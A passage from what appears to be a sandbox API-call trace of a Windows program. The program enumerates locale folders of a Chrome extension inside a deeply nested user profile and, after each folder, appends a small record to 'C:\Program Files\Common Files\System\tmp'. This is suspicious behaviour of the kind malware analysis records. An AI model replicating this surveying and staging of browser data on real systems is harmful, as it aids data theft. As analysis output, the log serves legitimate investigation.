HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.605] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.605] GetLastError () returned 0x12 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.605] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.605] AreFileApisANSI () returned 1 [0135.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.606] GetFileType (hFile=0x198) returned 0x1 [0135.606] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.606] GetLastError () returned 0xb7 [0135.606] SetLastError (dwErrCode=0xb7) [0135.606] GetLastError () returned 0xb7 [0135.606] SetLastError (dwErrCode=0xb7) [0135.606] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf2, lpOverlapped=0x0) returned 1 [0135.606] GetLastError () returned 0xb7 [0135.606] SetLastError (dwErrCode=0xb7) [0135.606] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.606] CloseHandle (hObject=0x198) returned 1 [0135.608] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.647] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.647] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.647] GetLastError () returned 0x12 [0135.647] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.647] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.647] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.647] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x88dd40 | out: hHeap=0x7b0000) returned 1 [0135.648] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.648] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a82a0 | out: hHeap=0x7b0000) returned 1 [0135.648] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.648] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.648] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.648] AreFileApisANSI () returned 1 [0135.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.648] GetFileType (hFile=0x198) returned 0x1 [0135.648] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.648] GetLastError () returned 0xb7 [0135.648] SetLastError (dwErrCode=0xb7) [0135.648] GetLastError () returned 0xb7 [0135.648] SetLastError (dwErrCode=0xb7) [0135.648] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.648] GetLastError () returned 0xb7 [0135.648] SetLastError (dwErrCode=0xb7) [0135.649] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.649] CloseHandle (hObject=0x198) returned 1 [0135.651] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.651] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.651] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.651] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.651] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.651] GetLastError () returned 0x12 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.652] AreFileApisANSI () returned 1 [0135.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.652] GetFileType (hFile=0x198) returned 0x1 [0135.652] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.652] GetLastError () returned 0xb7 [0135.652] SetLastError (dwErrCode=0xb7) [0135.652] GetLastError () returned 0xb7 [0135.652] SetLastError (dwErrCode=0xb7) [0135.652] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.653] GetLastError () returned 0xb7 [0135.653] SetLastError (dwErrCode=0xb7) [0135.653] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.653] CloseHandle (hObject=0x198) returned 1 [0135.655] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.655] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.703] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.703] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.703] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.703] GetLastError () returned 0x12 [0135.703] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.703] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.703] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.704] AreFileApisANSI () returned 1 [0135.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.704] GetFileType (hFile=0x198) returned 0x1 [0135.704] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.704] GetLastError () returned 0xb7 [0135.704] SetLastError (dwErrCode=0xb7) [0135.704] GetLastError () returned 0xb7 [0135.704] SetLastError (dwErrCode=0xb7) [0135.704] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.704] GetLastError () returned 0xb7 [0135.704] SetLastError (dwErrCode=0xb7) [0135.705] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.705] CloseHandle (hObject=0x198) returned 1 [0135.707] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.707] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.707] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.707] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.707] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.707] GetLastError () returned 0x12 [0135.707] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.707] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.708] AreFileApisANSI () returned 1 [0135.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.708] GetFileType (hFile=0x198) returned 0x1 [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.708] GetLastError () returned 0xb7 [0135.708] SetLastError (dwErrCode=0xb7) [0135.708] GetLastError () returned 0xb7 [0135.708] SetLastError (dwErrCode=0xb7) [0135.708] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.708] GetLastError () returned 0xb7 [0135.708] SetLastError (dwErrCode=0xb7) [0135.708] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.709] CloseHandle (hObject=0x198) returned 1 [0135.757] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.757] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.804] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.804] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.804] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.805] GetLastError () returned 0x12 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.805] AreFileApisANSI () returned 1 [0135.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.805] GetFileType (hFile=0x198) returned 0x1 [0135.805] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.805] GetLastError () returned 0xb7 [0135.805] SetLastError (dwErrCode=0xb7) [0135.805] GetLastError () returned 0xb7 [0135.805] SetLastError (dwErrCode=0xb7) [0135.806] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.806] GetLastError () returned 0xb7 [0135.806] SetLastError (dwErrCode=0xb7) [0135.806] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.806] CloseHandle (hObject=0x198) returned 1 [0135.808] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.808] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.808] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.809] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.809] GetLastError () returned 0x12 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.809] AreFileApisANSI () returned 1 [0135.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, 